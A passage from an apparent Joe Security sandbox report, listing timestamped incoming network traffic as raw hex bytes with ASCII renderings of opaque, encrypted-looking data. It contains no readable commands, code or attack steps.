2022-01-15 19:23:32 UTC 5931 IN Data Raw: 15 21 2d 06 c9 2d 46 70 2a ad 4b 38 ca d6 c5 f8 fa 87 46 3e 95 9d 2c 88 4d f7 11 a6 d8 48 b0 8c 66 a1 83 73 1b 13 b9 4f 26 d7 aa fe 14 15 de 25 3b 5b 37 8f 06 5e 47 02 4c d1 23 b1 03 03 0e 8d bc 5b 3a 97 c0 20 de 83 f9 1b 3e 1d 37 54 2f ae 28 81 8f 2d 2c c7 e4 07 1e ea 82 fe 99 be 4b 5b 69 51 4d 7e c8 d5 38 67 ca 96 9b e6 32 d3 91 1d 62 9a 2a 4c 27 c2 be 35 e0 b0 b0 25 24 3c 2e 9f 45 08 ba 9d 13 35 75 d6 fc 87 b7 03 63 87 7a 0b 5e ca 3c b4 2e 96 62 1c 7b 8c 63 dc e3 e2 ba f7 e5 e4 60 32 91 96 67 69 2f 97 64 f0 a9 7c 9e fc 2f 93 ea 78 9a cc 2d cd d9 cc 6c 34 d6 8b 99 08 38 58 30 38 a8 3a 76 3b 4c dd 69 c8 e8 43 71 9e 4e 60 4c 83 86 46 7b 35 30 02 4a 1e 08 b0 57 0a 59 16 5d 29 3a fc 43 78 35 f4 6f 83 2d 69 aa 17 4d ce 48 57 67 9b 87 26 49 a5 56 d2 1c d7 ec Data Ascii: !--Fp*K8F>,MHfsO&%;[7^GL#[: >7T/(-,K[iQM~8g2b*L'5%$<.E5ucz^<.b{c`2gi/d|/x-l48X08:v;LiCqN`LF{50JWY]):Cx5o-iMHWg&IV

2022-01-15 19:23:32 UTC 5947 IN Data Raw: bf 69 dc 85 73 c4 53 c7 fe e9 b2 87 35 c0 9b 41 06 6a e2 9e 67 c2 4d 01 2c 69 ef ac eb c4 e3 43 31 6b 35 9d 52d1 1a 6b d8 11 09 a1 c8 61 18 bc 07 72 6c 9c 18 7d bc 8b 97 b0 a9 fc b8 59 b5 5f 85 2d 23 01 49 75 fa 9b 44 95 e1 9b cc f1 ce c5 4a b1 86 bd 84 ab 00 ec c1 ea 12 26 b6 57 03 64 18 98 fd cc 4d 8d 75 78 0a 0e bb da 67 b1 cb f6 47 36 11 a4 05 91 6e 5e 73 8f 94 7b 96 8a 3d 70 dc 8a 5d 07 91 d9 6b 58 4f f2 a1 94 9f 3a 21 4c 85 9b 2c 06 9c 93 59 63 91 cb 42 eb f4 a1 29 6c 56 57 ce 91 c9 58 22 7b 5b ea ea a7 52 1a 02 2c 1d 18 72 5c fd 15 ed d0 e9 7b c2 4a dd 8c d8 7b 1a de 9d 89 f0 a7 61 59 21 00 77 13 a9 58 3f 3a f3 b7 8c 33 da f4 6d 27 93 fe 0d 44 38 5b 6d 5d fc 4c b1 27 bc b1 cf 27 ef 2b c4 6c 46 27 8d b0 90 44 c0 72 ca f1 f4 0b ae 64 9a 72 df dd 68 Data Ascii: isS5AjgM,iC1k5Rkarl}Y_-#IuDJ&WdMuxgG6n^s{=p]kXO:!L,YcB)lVWX"{[R,r\{J{aY!wX?:3m'D8[m]L''+lF'Drdrh

2022-01-15 19:23:32 UTC 5963 IN Data Raw: c2 90 70 1d b0 fd 4c cc 2b a9 c5 b9 a9 d4 75 1f 28 40 9f 41 9f d4 1d 1a 6b 65 94 5f 29 5a 19 27 52 d4 d2 7d 1e 35 9f 56 a2 ef f8 2e 58 2d be ad 58 40 83 32 37 b9 30 1d f0 c7 55 2f ef 36 b3 a3 f3 ca 96 05 d5 fe ac d7 0e f2 9b 1e 8f 42 83 88 d4 4b ac 72 5d 89 91 25 30 ec e9 25 29 01 6d 7c d0 af b0 48 e4 1d 31 f0 40 89 1c a1 6e d4 3c b0 e3 4c 3c 72 e9 c9 2d 1b de 8c ac 4c 26 e7 75 2c 45 9b 4c 02 78 d6 2b 8d 75 d0 80 1d 3a d3 0c 96 11 59 ac f1 1b ee ee 1d 43 4c 05 07 6b ef ef 1d 8a 35 da 2e 86 82 76 dc 00 5d 40 52 b4 9d 8f cd d9 d1 e2 14 16 48 35 4d 67 0f ac 7d e0 d9 4d 97 1a d4 5d 93 9a cd 55 81 00 16 e6 d0 fa d9 4e f1 91 8e 8e 2e dc bd 6d 85 b6 79 08 44 29 21 b5 1f 9f d4 f0 5d 29 a3 7a c6 fa ec d7 1d 4a 00 0c 18 74 e4 f4 3d 6a d4 69 26 ec d4 11 b4 bf 7b fa Data Ascii: pL+u(@Ake_)Z'R}5V.X-X@270U/6BKr]%0%)m|H1@n<L<r-L&u,ELx+u:YCLk5.v]@RH5Mg}M]UN.myD)!])zJt=ji&{

2022-01-15 19:23:32 UTC 5979 IN Data Raw: fa bc a3 85 22 9a b4 6a 3f 0f 9f 26 fe cf 95 fc 28 81 03 75 8c dc 9f 24 35 d5 c0 7f 92 cf 15 7e 32 a6 62 67 f9 1c e1 2d 8b 51 8a 48 3e c8 e3 09 57 72 1e 6f 1f ad d5 fe 6e a0 d5 bc 1b ee 01 27 8e 4c 59 bb 41 b1 fb 44 95 5c 83 da a2 53 88 ad 3d 32 5d 33 74 e1 ce 79 60 d1 b8 e2 40 4c fe 63 fc ce be 35 4b fc fa 1d bc ae b9 35 5a 03 c2 89 0c 82 1f a4 b0 33 44 db 34 a0 fa 1a 0a a8 af bc 21 b3 bf bb 21 ba bf b7 21 4d bf b3 21 54 bf da 21 5f bf 69 9c fa 18 04 e9 a1 11 04 e3 a4 05 77 5d 5c b7 b6 24 1b b1 cf e7 d7 dc 9c f4 e4 4f 9c ed e4 41 9c e6 d7 b9 0d f2 6d f6 80 7d 36 e7 1a b0 d2 54 29 0c cc 29 3e 97 bb 98 1e 95 f9 ae d0 19 e6 7f 1c 08 7f b0 a4 f4 c8 ed d3 10 57 48 e5 35 2f ad 76 4f 96 a3 36 e8 e8 4b f7 97 3e d4 40 8d 40 1c 68 8f ee ce 9e cf 40 09 42 8d 70 49 Data Ascii: "j?&(u$5~2bg-QH>Wron'LYAD\S=2]3ty`@Lc5K5Z3D4!!!M!T!_iw]\$OAm}6T))>WH5/vO6K>@@h@BpI

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 69 of 103

2022-01-15 19:23:32 UTC 5995 IN Data Raw: 90 18 1c b2 fa a8 a5 69 cd ef e2 20 1b 95 ef 18 ac de b6 bc 36 2e 46 25 ec 08 ed 49 61 78 c9 45 da d1 f8 bc 98 8d 60 2a 4c e8 85 57 81 2b 78 bc 47 3b 8b 78 22 0a ab 85 51 03 12 e1 d2 ec f8 7e cf 87 25 1f 13 0e 94 c0 92 48 61 22 59 50 f6 d5 3d 2d 9f 85 e8 b9 23 23 2b 80 ba 31 37 66 b8 e8 7c dd 59 fa 12 57 b4 3a 72 fc 6f 18 6e e5 f2 dd 7e 30 9c 9c b7 b0 96 80 1d 65 20 c9 c8 2c c8 dd 18 97 40 96 43 d4 b4 84 16 5e 0f 52 8e e5 74 91 65 b6 24 4c d0 a0 a7 09 af 9a 8d bd 53 f8 f4 21 f4 41 ce c4 c7 f5 d8 4d 68 88 2c 6e 71 12 94 85 40 ae 9d 90 fd 72 b3 f0 29 de f1 81 28 ce 66 e4 67 bb 6f 24 85 96 fb 1c fa 9f 08 0b 46 f1 01 30 1f 43 9e 72 35 ad a2 d5 9d 69 31 d7 62 d4 fb fc 36 4d 71 c4 1f 2d 16 a9 65 d1 ad fd 46 19 38 81 2a c8 75 d6 d4 46 01 84 e8 4c 6b 08 2f 94 e8 Data Ascii: i 6.F%IaxE`*LW+xG;x"Q~%Ha"YP=-##+17f|YW:ron~0e ,@C^Rte$LS!AMh,nq@r)(fgo$F0Cr5i1b6Mq-eF8*uFLk/

2022-01-15 19:23:32 UTC 6011 IN Data Raw: 97 9e b2 49 a8 7b c4 37 79 77 8b 64 2c a3 e6 1e 1d 50 65 51 57 c9 1c 1f 1a 42 2a 51 09 01 08 ce 2b 38 e3 3a 19 64 1e 44 00 4f ed 2c 29 7b f8 36 b2 9f b8 cb bc e1 2d bb dd a1 a4 84 04 45 38 93 7c d0 c5 05 b0 b5 ec 64 32 e4 dd 48 60 ed ed 89 06 07 35 4c 69 fd b7 23 08 f5 ea c1 bf 50 df 59 67 a0 f1 3d 2b e5 f1 7c d7 2d 87 a7 bd 9f 8c 4f 2d 38 ed 2c e1 2d 06 23 76 d1 a4 62 b0 aa 61 40 a8 72 81 75 71 14 8d 56 e6 81 34 57 47 88 05 a1 57 dd 99 3b 33 27 4e d4 28 01 41 56 19 76 e0 de 93 14 54 90 37 80 69 f0 d9 72 4f 07 cc 32 84 94 30 94 e6 73 92 a3 e6 c8 20 cd 56 3d 1e 17 a4 26 e0 8a 66 56 08 0c 24 41 c5 be 26 ac ea 77 8d 96 b4 98 dd 7c 37 47 5c 36 8a c5 b2 38 40 54 77 0e 31 d5 81 2d 42 55 f8 64 7c cc ad 41 19 2a 2d 60 28 61 bc 17 15 24 a0 26 48 0d 9b 06 49 bd 2e Data Ascii: I{7ywd,PeQWB*Q+8:dDO,){6-E8|d2H`5Li#PYg=+|-O-8,-#vba@ruqV4WGW;3'N(AVvT7irO20s V=&fV$A&w|7G\68@Tw1-BUd|A*-`(a$&HI.

2022-01-15 19:23:32 UTC 6027 IN Data Raw: c8 46 35 5e c5 bd 69 c3 04 a9 d4 1b 4e 72 e9 49 20 a6 88 73 8f 11 83 49 c6 6a 21 24 37 8c c9 f6 b1 35 e9 c3 f1 3d 84 46 a8 69 25 a4 98 24 95 8e fc fb fb 5a 28 54 9d e1 12 bf 4d 42 c7 eb dd 95 59 98 c3 ab 1c 4b fd 10 1a 7a 4c 5c 6a b0 46 a2 78 4c 65 e4 f3 8d da 40 b1 98 61 1c ce 52 28 ec 3a b5 00 5f d8 b8 64 78 df 8d a5 ca 28 74 f5 ec 5c ea 99 f1 2a 88 68 07 4c b3 85 57 8a cd dc 21 22 c3 57 1f f8 81 b6 0f 08 6b 00 57 76 fb 23 e8 15 6d ec 4c c1 65 bb e4 1f 21 06 71 2c85 a8 93 8b a3 c1 9e 3c ca c2 3f 5c f5 c2 e4 95 ed 0f 40 bc ba 22 53 a3 d3 9c 44 68 41 b0 07 99 78 c0 73 51 c1 b3 fb 55 bc 2e 56 e4 9e f7 41 86 76 76 7c 6f 76 ab 25 b2 21 79 d6 11 7c 8d 5a 8f 65 14 58 88 1b 87 c6 4d 92 c4 6c d2 c0 69 d9 ba c4 78 e4 86 a1 c9 b2 af c8 e6 59 7f f5 d6 42 95 81 f1 Data Ascii: F5^iNrI sIj!$75=Fi%$Z(TMBYKzL\jFxLe@aR(:_dx(t\*hLW!"WkWv#mLe!q,<?\@"SDhAxsQU.VAvv|ov%!y|ZeXMlixYB

2022-01-15 19:23:32 UTC 6043 IN Data Raw: 05 4a b0 29 db bf b1 63 80 56 35 c9 b3 57 79 e9 63 fe 7f b5 37 10 6c d7 99 d9 dc a2 fc d4 b7 18 d3 f7 a5 bc fe 01 b2 ab 0c 24 5f c8 2a cf f8 85 32 bb a6 f4 3a 33 4c 9e fa 93 25 02 26 51 7d 34 4a aa db d7 8d dd 35 4d 37 66 98 4e 44 98 7f fd 5d e3 9a 07 2d b2 85 df 80 2e 4e 7e 40 5f 90 c4 44 e2 7a 84 3c 47 75 6a 79 80 a3 82 61 d4 b3 cb e8 f8 5f 68 ae 96 79 45 d2 03 f8 08 a8 f7 80 2c 24 e4 6c ca 41 e2 f6 af b0 d1 c9 ba 6d ff ff 46 c3 0d a3 48 e7 82 5a 50 e4 00 ad ea 7f 15 5f c7 80 29 48 5d b0 c9 97 2f ef 45 c3 8f a8 dc ae 89 a4 31 12 85 c6 60 37 64 72 10 06 4d 3a ff 70 49 40 de 2e f5 b8 2c 96 24 68 45 c3 74 a1 b7 f2 9d 77 b0 9d f3 b2 15 b4 81 68 0d bf 93 3c c8 1d 01 fe 85 7d 0d 85 5c d9 1d 38 98 3f 2b b9 a7 6b 2b 5f 6d e4 c0 29 a5 8e 14 f0 4d d1 2b b4 81 6d Data Ascii: J)cV5Wyc7l$_*2:3L%&Q}4J5M7fND]-.N~@_Dz<Gujya_hyE,$lAmFHZP_)H]/E1`7drM:pI@.,$hEtwh<}\8?+k+_m)M+m

2022-01-15 19:23:32 UTC 6059 IN Data Raw: 6a 48 b5 1b 72 95 e4 cb be 07 9b 26 6c 5d 25 6a c7 63 33 91 f6 d7 51 8d 64 d5 e4 be a6 98 fb 7a 1f d5 81 7f 89 27 d7 5e 0f cd 3b 8d e8 51 ef 89 df 34 28 91 d3 0a dd 8e d0 01 ed 70 58 97 c8 e2 40 45 e8 77 87 d3 09 f1 c7 4d 06 09 a5 db 74 21 30 c7 0f f2 b9 21 20 f1 37 e9 c0 ce 71 cd dd d9 81 ba ab 4d 03 4d 74 40 21 da ec 5f b3 ea ef f7 92 ea cd 8b b0 15 b6 c2 4f d9 66 e1 36 ee a8 ee 13 2b aa 9c 43 29 51 89 da 8e 57 66 a4 ba 5a fc 6b 61 95 a7 00 a8 b0 50 65 70 03 35 74 ee 69 d9 96 eb 0d 21 e0 b2 81 78 34 e1 e9 61 08 a6 5d aa 78 55 5e 53 3b 70 cd 7f 48 30 15 0c 9c 6b c1 fc c8 49 53 70 67 8b 5a 0b 60 15 22 eb c5 7f 8a 59 63 bd 98 73 04 a4 2b 9f 1f 90 58 61 15 93 b4 54 08 c0 15 42 47 79 19 31 66 70 4b 39 45 9f c8 f7 46 25 f1 0c 19 97 6c 59 23 e4 f0 4e 9a 0f a6 Data Ascii: jHr&l]%jc3Qdz'^;Q4(pX@EwMt!0! 7qMMt@!_Of6+C)QWfZkaPep5ti!x4a]xU^S;pH0kISpgZ`"Ycs+XaTBGy1fpK9EF%lY#N

2022-01-15 19:23:32 UTC 6075 IN Data Raw: 68 18 b6 09 2f b4 c3 3d fe 7e 2d 85 0b f0 bc a7 10 c9 19 e3 22 e5 ec 2d ab ed 35 c8 48 3c d5 0d 08 e0 b1 25 d7 df 9d 88 19 dd 98 9c 49 6d 26 8c bd a0 3b 7b 46 48 ad bb 28 a8 d8 c4 c6 91 fd c2 62 86 96 37 6b 03 35 e6 30 87 96 63 88 6d bc 04 3f db 0a 53 5f 75 c5 dd 25 54 8d 93 5c a2 c5 26 18 f1 c9 e0 be be 58 81 28 95 ad d8 0c 0d 38 58 78 a2 84 4f 52 fe 8f ca b0 46 b5 2d 52 a1 cf 26 18 5f 9c da 0f 58 72 ef 7c 73 b9 b2 0f f7 e2 19 28 08 ad f7 08 0b 49 fd 9a 2c bf ef 08 dd d1 63 bf 61 58 4e 98 38 c3 87 1d 08 2e 5a a5 9a 28 2c 8d cd 13 be b7 16 53 90 24 fd 3b 93 4c dd c5 67 44 72 25 5c 93 cd c3 2a d0 de 19 b3 ce 93 91 c4 88 e7 9d 05 28 9a 02 c9 5a b4 c2 c2 9c ee 26 f6 bc ba 57 c2 ac 57 46 c6 d8 56 16 c6 68 77 f1 34 1c 86 98 5a e8 dd fc b5 20 7a d0 1c af 06 f8 Data Ascii: h/=~-"-5H<%Im&;{FH(b7k50cm?S_u%T\&X(8XxORF-R&_Xr|s(I,caXN8.Z(,S$;LgDr%\*(Z&WWFVhw4Z z

2022-01-15 19:23:32 UTC 6091 IN Data Raw: c5 6f 79 12 6e 9e 6d d6 68 01 19 28 94 57 49 6d 5b 86 6e 27 4a 57 1d 35 90 fb d1 3d 27 3b ac 9b cf d1 70 7f 00 72 59 b2 78 db 89 48 84 fc 56 33 da 80 a6 d4 3a f8 76 05 1d d6 bc 72 d2 20 85 5c cd ef 9d 2e 7a 9b 87 6f bc db 56 1a b3 da 74 c4 3c 8c 28 07 6a ce b5 1e 11 eb 60 de ce 7a e1 6c f7 79 9e be 17 c9 ac 2c 6b eb ad 4a 13 e9 6b 02 da ba e1 e7 2f 55 b5 86 31 e9 2d 2c 8b cc 3f 78 89 9d bc 03 11 cf 91 48 78 e9 b6 8b 28 cd 4e 03 bd 3f 4b f7 ea 64 e0 6b d3 a0 80 02 28 f0 51 11 75 75 14 1c 0a 8f c8 9d 28 cd 96 19 33 8e 09 e2 db 3e e3 ac df 05 33 84 07 b0 a7 7c d3 60 11 32 47 69 b1 47 35 6a de e0 bc 2f a9 9a 14 05 95 1e c7 d0 71 9c 73 d6 25 00 80 7a ce 03 ab 65 16 6e fe 6d e3 02 fc fd 12 ae 75 8f b7 f1 c8 dc f1 2e 40 96 b9 1e 05 2d af 83 e5 b1 71 8c c5 09 b4 Data Ascii: oynmh(WIm[n'JW5=';prYxHV3:vr \.zoVt<(j`zly,kJk/U1-,?xHx(N?Kdk(Quu(3>3|`2GiG5j/qs%zenmu.@-q

2022-01-15 19:23:32 UTC 6107 IN Data Raw: 13 2a 92 b2 50 a6 31 77 dc f8 4f 12 b8 c9 9d 68 bf cd 95 04 72 89 d8 48 8b 3e 9a 31 61 f6 e4 26 34 b1 2a 51 af 85 ef 78 68 19 ae 57 35 d7 0a 35 85 bf 87 ac 62 f4 15 63 39 ed 1d eb ca 48 0f 55 0a e0 45 6f 7d c1 36 6a ad 65 64 6b 6a 31 97 e9 90 52 d5 b9 3c 6a 94 ca 1b a0 8c b4 11 75 ad 02 43 50 c3 8f 4a dc a9 2c 2a 1d 99 dc 04 ed 35 e4 14 d5 6e 5b d8 53 55 6a 08 65 b5 09 f0 e6 2a 6a 18 8b 6b aa e4 0e 31 98 23 83 eb 04 3a 28 31 25 00 0e d9 2b 2b e5 c1 2e 14 3f 7c 06 d0 fa e9 91 22 e2 ff 12 e7 27 67 2c 20 fe ed 1c 46 99 d5 bf fb 5e b4 1e bc 76 84 9f ea 33 a5 fa 0c b7 c6 6f 0a 6f bc dd fe 8e ea 84 9d 99 51 ac fa 0d 7c 93 54 29 ad 21 45 d8 27 9b 90 69 b4 e5 66 14 cf 70 86 02 a5 b7 ef a0 3d 76 5c 44 f2 3b 01 3a d5 95 8c d3 12 78 47 d7 22 71 ff 51 d2 64 93 8e 38 Data Ascii: *P1wOhrH>1a&4*QxhW55bc9HUEo}6jedkj1R<juCPJ,*5n[SUje*jk1#:(1%++.?|"'g, F^v3ooQ|T)!E'ifp=v\D;:xG"qQd8

2022-01-15 19:23:32 UTC 6123 IN Data Raw: 29 07 75 ae a8 fa 2d 98 d5 cf 9d 2d a0 21 05 25 6d 78 29 4f d7 5d d4 c4 e7 cd ea d4 c6 48 df 26 ba 8f 72 a3 46 7c f0 a4 07 08 aa 63 ef 0d 0a 25 dd 1d f5 0a f0 a1 05 04 94 d5 61 c4 f4 a6 01 48 d4 4c 06 e6 ee ca f5 3d af 07 df 54 39 db ef ac 4f 61 24 ed a7 2b 66 ec 8d b9 35 41 1a 9f 05 71 be 6e 83 96 ef b1 bf 08 62 d4 1d e6 85 65 15 fc b4 86 a5 13 8d e5 d8 d1 dd c5 de 58 50 01 30 ca 03 1c 9b 48 f2 6b 04 1c af 45 01 62 6c e6 79 10 ad f5 89 e7 6b 21 00 2b bc 80 8d e6 b4 21 55 1c b6 91 ee 98 6b dc 38 48 0b fe 64 38 13 49 70 44 ad 9b ea c6 4e ad f3 45 c9 5e 80 c7 0c 15 89 67 1c 8b cf 62 e8 92 cb e0 69 1d f0 67 d2 6c ef 09 35 29 05 ac 29 83 77 64 bd 9d ec 34 33 85 17 14 11 96 25 30 ac 35 1a ea 9d 0e 89 3e c4 67 9c a8 c5 65 23 f6 ad 65 e6 25 e8 53 6d 42 4a 2e 5a Data Ascii: )u--!%mx)O]H&rF|c%aHL=T9Oa$+f5AqnbeXP0HkEblyk!+!Uk8Hd8IpDNE^gbigl5))wd43%05>ge#e%SmBJ.Z

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 70 of 103

2022-01-15 19:23:32 UTC 6139 IN Data Raw: b0 d7 7d 1d 1b d1 5c e6 6d a2 2d e5 49 c5 7f 01 51 d2 35 03 51 15 ba 9d b6 ea 6a 89 ff 15 b9 a2 06 d1 13 93 c8 d8 fd 09 a8 c4 5c c3 73 b4 34 22 b2 b9 d9 12 e6 cd 05 75 d5 c7 7d 12 78 39 b5 4f 39 42 94 40 cc e1 89 0f 35 53 b8 4f dd f6 b6 ad e2 85 43 06 df 69 02 f9 33 44 84 1c 64 a5 fe 04 79 07 e9 d5 c5 aa 7f 61 36 53 6e 31 05 57 64 09 82 01 33 a1 9d 0a 5b c6 79 ff 7a fd 8d fb de 57 c4 1f 82 bc 33 cd bb 7c a4 7a 0f 69 f8 1a 70 0f af 58 3e 15 95 79 15 40 17 7d 80 1c ac 16 c9 0e fb d7 9c 21 09 9b 34 7e 64 8a b5 82 c2 91 5f 1c b5 07 b9 4c 0c e4 af 1d 40 aa 73 81 9d 82 ad 65 ba ed 91 0d 43 00 12 fd ec 9f 4c 3e 61 25 b7 52 4c ee 6c 56 73 48 d6 6b 6e 11 2b 45 bd 13 22 86 eb 43 ae 7c b1 06 28 5d d9 01 85 38 05 de cc be 43 62 85 be e0 77 d6 38 11 d7 db 8d 80 d6 43 Data Ascii: }\m-IQ5Qj\s4"u}x9O9B@5SOCi3Ddya6Sn1Wd3[yzW3|zipX>y@}!4~d_L@seCL>a%RLlVsHkn+E"C|(]8Cbw8C

2022-01-15 19:23:32 UTC 6155 IN Data Raw: 5a 2c 89 4a 8b 30 1f 5c 82 93 7d ff e8 01 53 a1 78 7c 81 ba 72 7e 96 8c a8 85 41 2c b7 8c cc ac 64 5a 6c 6c 97 1e 5e ed db d7 e7 23 5c 62 d9 30 7f b8 34 89 43 51 73 c4 2e 95 7d e4 37 10 24 4a 60 f7 8d 21 58 f4 85 9d 2f ad 35 4c a9 b5 22 ae 7e bd 9d 5c c6 45 75 1d 60 54 35 2e 58 81 2d 64 b1 5d af 7c 1c 65 f5 74 a8 6d 9a 89 cf dc a0 bc a9 d2 35 84 80 54 2d 84 f8 54 25 84 f0 54 1d 9f 88 55 28 aa 88 70 e4 38 fd d4 01 da cd 92 f4 a6 e2 96 eb 41 73 47 bd 01 f2 2f 40 e9 78 37 03 9c 7a ed 50 de c1 c0 47 da f8 13 e3 71 c6 b4 29 8c ee fe 4e 64 ef 4a b4 ae d8 d7 68 e8 a3 0e b5 41 ce 7f 5c e4 49 0a d8 91 42 1c f5 f8 e6 1d c9 55 ad 94 a7 46 35 87 32 9d 6f 5c 5b c4 2d 2a 0e cf ae 7d dd b5 99 6c 6d 70 7c 05 75 85 e8 f7 c4 ad 64 1c 93 80 9c a1 ff d7 c1 fe 94 5c 13 19 19 Data Ascii: Z,J0\}Sx|r~A,dZll^#\b04CQs.}7$J`!X/5L"~\Eu`T5.X-d]|etm5T-T%TU(p8AsG/@x7zPGq)NdJhA\IBUF52o\[-*}lmp|ud\

2022-01-15 19:23:32 UTC 6171 IN Data Raw: 6e 53 ff 18 7c dd b9 87 9f 61 b3 44 3e 7f c7 91 6e f2 d4 5a 8c ac 61 6c 6e 57 1d bb 92 34 30 47 fd 31 f4 94 68 b9 3e 5a 19 e5 f1 33 a6 39 f8 2b cd 8e 90 ec ab c3 6e a1 23 d4 b6 f6 73 30 7f ea a1 ce 7c f4 31 34 4b 27 be 53 60 50 bd 85 cc 2d 27 37 8c 3b 99 fb 91 e2 33 e9 b5 71 d7 b9 b9 87 db d1 9d f7 cc e7 3e eb 49 c1 b7 1c 7a cb 40 20 22 3a fc 05 a9 dd 44 42 b6 05 64 6d fc 68 d3 49 ee f5 95 19 bd d7 2a 1c 66 ab ba bb e4 30 ef 1e 00 17 96 be 76 f9 b1 1d 4e 34 4e c1 ef 25 e1 1d 3c 6e ac 62 36 d1 49 1e 44 6a dd a9 a1 65 bc 40 9f 3e 2a e1 aa ea db ac a7 c3 a5 06 36 e5 fd 1c 72 87 63 ce 70 d6 98 04 40 7b d9 17 36 d5 b9 70 2c c2 b1 48 cf 05 43 b7 28 19 f4 70 af ed 18 e1 c8 94 c6 63 07 65 f6 81 36 fa db e6 20 be 7b 5f 1b cd 9a 2e ff 45 63 bd 78 9b 38 03 29 35 f2 Data Ascii: nS|aD>nZalnW40G1h>Z39+n#s0|14K'S`P-'7;3q>Iz@ ":DBdmhI*f0vN4N%<nb6IDje@>*6rcp@{6p,HC(pce6 {_.Ecx8)5

2022-01-15 19:23:32 UTC 6187 IN Data Raw: 88 ce 34 8d 5a df db 8a bc 15 6d d6 f7 04 84 fe 44 89 87 c7 70 86 6d 25 37 bb a5 4d 8e 1a 90 91 f9 d0 94 b7 1c80 39 88 74 84 bf 80 27 4c ec 04 62 3e 67 4c 15 da 4e f3 01 ca a1 e9 3a c4 bb 40 47 7b 9a 69 88 bf ad a4 70 df c9 13 32 c3 56 16 32 44 56 19 98 cf 56 e9 3f 47 09 95 0a 51 2d 59 a8 ee 97 08 15 a2 be 17 67 e4 af 52 a8 d5 9f 59 f0 a0 5f de 04 21 f8 a4 2b c8 ed b0 b5 0c 44 1c 70 cb b9 9d f6 71 a1 fd 43 29 c8 02 9c d1 54 54 82 d5 2c 18 f1 ea be 93 ca e1 2c 5b 10 a6 ab 55 98 dd 41 83 29 5d 35 f2 9a 93 ef 14 24 0d 2d c6 39 87 56 1d 7d 6e 99 48 2c 45 ac 5f 57 0d 7c cd c9 b9 f8 19 0a ad aa 69 2f c1 55 4b 17 5d d5 1a be ee e9 4e 96 8f d5 c8 6d 8d bf 9c b8 0d 4c 46 38 f2 c7 e5 a9 8b a8 09 5a 9b b3 32 7b 65 99 04 47 b4 80 12 2d 90 25 4e df 6d 4e 49 d4 e4 ec Data Ascii: 4ZmDpm%7M9t'Lb>gLN:@G{ip2V2DVV?GQ-YgRY_!+DpqC)TT,,[UA)]5$-9V}nH,E_W|i/UK]NmLF8Z2{eG-%NmNI

2022-01-15 19:23:32 UTC 6203 IN Data Raw: 66 e4 a8 27 61 5f f3 43 bc ee ab 27 f0 83 c8 84 84 d2 ea 84 4f e9 c8 18 f5 5b 07 2d 90 13 ff b2 d0 9c 3a 54 b7 d0 2b b4 6f cd 37 26 6c 16 22 37 d3 d5 dd 14 97 d1 86 20 77 7b ad 3d 23 6a ad 60 16 2f ad 0e 21 6a 94 91 a6 13 ef 5f 77 7d 73 8b 60 01 aa 89 40 ba 96 98 1f 98 a9 54 a3 7f 9c bf 62 22 9a 47 87 e5 2d 2c e4 38 fe d3 46 06 6d 16 bd e2 b5 20 35 e4 30 1d 1b 67 98 10 82 c4 fb 24 e2 e9 58 4f d6 ad 3d 78 de 45 3a 42 50 45 d9 24 10 c3 34 2e 39 50 42 04 3c 43 eb 28 24 fa bf be f2 f8 9b 08 8b 9f 8b 7d b1 87 ff f9 69 97 ac 04 34 05 f2 93 32 9c be ce c6 f9 a6 03 ba 51 18 45 d8 b1 e0 98 29 57 2c 94 31 2e 29 15 fc 15 cf 26 6b f4 81 ce 18 48 f7 5a 5a 8c 3a 5f 4d cd 59 0e fd ee 8f 1c bd 5c 9d d3 bd b4 54 e9 b8 4b 7f c9 65 c9 77 1d c9 0d a2 06 f2 22 f2 78 19 5b b5 Data Ascii: f'a_C'O[-:T+o7&l"7 w{=#j`/!j_w}s`@Tb"G-,8Fm 50g$XO=xE:BPE$4.9PB<C($}i42QE)W,1.)&kHZZ:_MY\TKew"x[

2022-01-15 19:23:32 UTC 6219 IN Data Raw: d9 e0 d4 46 67 0d 6c 58 93 30 41 e3 a1 42 50 37 b3 d5 c1 4d c5 f3 45 88 04 9a ad a3 51 85 21 27 90 3d e6 e6 66 43 b7 85 3a 90 0a 07 8d c1 bc 4d 47 0c 56 52 96 62 96 16 ba 26 aa 33 9e 56 a8 b4 b1 4f f0 76 ff fe 11 fe 10 7a ee 2c f4 02 ad c6 32 7d db 57 5a 07 ec 73 d9 48 a6 04 47 23 f5 42 93 1d aa 0f b4 16 f3 b7 6f 6c 46 0a d5 49 ba db 61 2e 71 54 8b b9 9a 8e eb 11 2d e5 c0 e8 ae b8 f4 99 85 46 f8 49 52 a1 66 b2 34 be 6d 88 dd a8 68 b7 8f a8 b1 39 c2 7d c3 e4 15 5c d0 0b 92 fb 2f 90 ae 09 e8 c8 ec c1 3c c7 fc 05 f8 80 56 2a b8 f7 b7 eb cf 92 bc 16 5f 37 0a 65 8b cc 7f 2d 08 17 ad f3 19 c7 11 98 3f cf 45 6c 8f cc 71 3c f1 e0 fc b5 c2 f6 20 73 21 4a f8 23 fb 1a f0 a8 f7 5d 9d cc 77 0d 34 05 6f c2 3c 3f 45 49 bf 8e a8 72 32 5d a7 b0 0f c0 f4 03 2f 70 c3 d1 30 Data Ascii: FglX0ABP7MEQ!'=fC:MGVRb&3VOvz,2}WZsHG#BolFIa.qT-FIRf4mh9}\/<V*_7e-?Elq< s!J#]w4o<?EIr2]/p0

2022-01-15 19:23:32 UTC 6235 IN Data Raw: a0 4f b4 f1 7a a6 a4 3f 39 de c9 32 40 d5 2e 31 dc 38 bd 6a 25 fd 5a 76 34 a9 7a f7 7f 2b fc ef 77 b4 08 69 03 8d c9 5c ee 11 9e 63 72 60 7c a2 ff 8d e4 cf 12 07 92 24 6f 41 e1 13 ed ce cf 60 58 98 54 48 3c 2e 14 29 18 fb 0e b4 43 01 8a e7 63 09 b0 e4 2c 3c 96 ad bf 1f 7a 0a c9 cd 14 52 68 a1 2a 07 9a 0d 41 75 4a d7 01 d4 91 8b b4 2a 1c dc 47 8f f2 a6 bc c6 77 ec 7d 17 93 00 b6 00 01 c6 5f 8e 3a 82 de 74 72 39 1f ac 2d 7e 8d ce d2 4e b1 8e a8 8d 9c c6 ad d9 25 be 09 78 30 da 08 1b b7 2e fd 05 02 20 fb 2d ae d7 55 1d d9 0c 10 e7 ed 9c 26 4e cc 46 1f 39 5a cd bd 28 c8 11 ce 6a 07 de 4d 6b 95 90 3e 40 92 0d 30 a7 78 24 1c 4a 96 c3 2d a9 f4 2b a2 65 19 79 79 8f b9 01 57 d1 88 c4 3a bd 2a c9 78 9d c8 9f cc f2 a3 39 28 93 8d f4 b0 ef 79 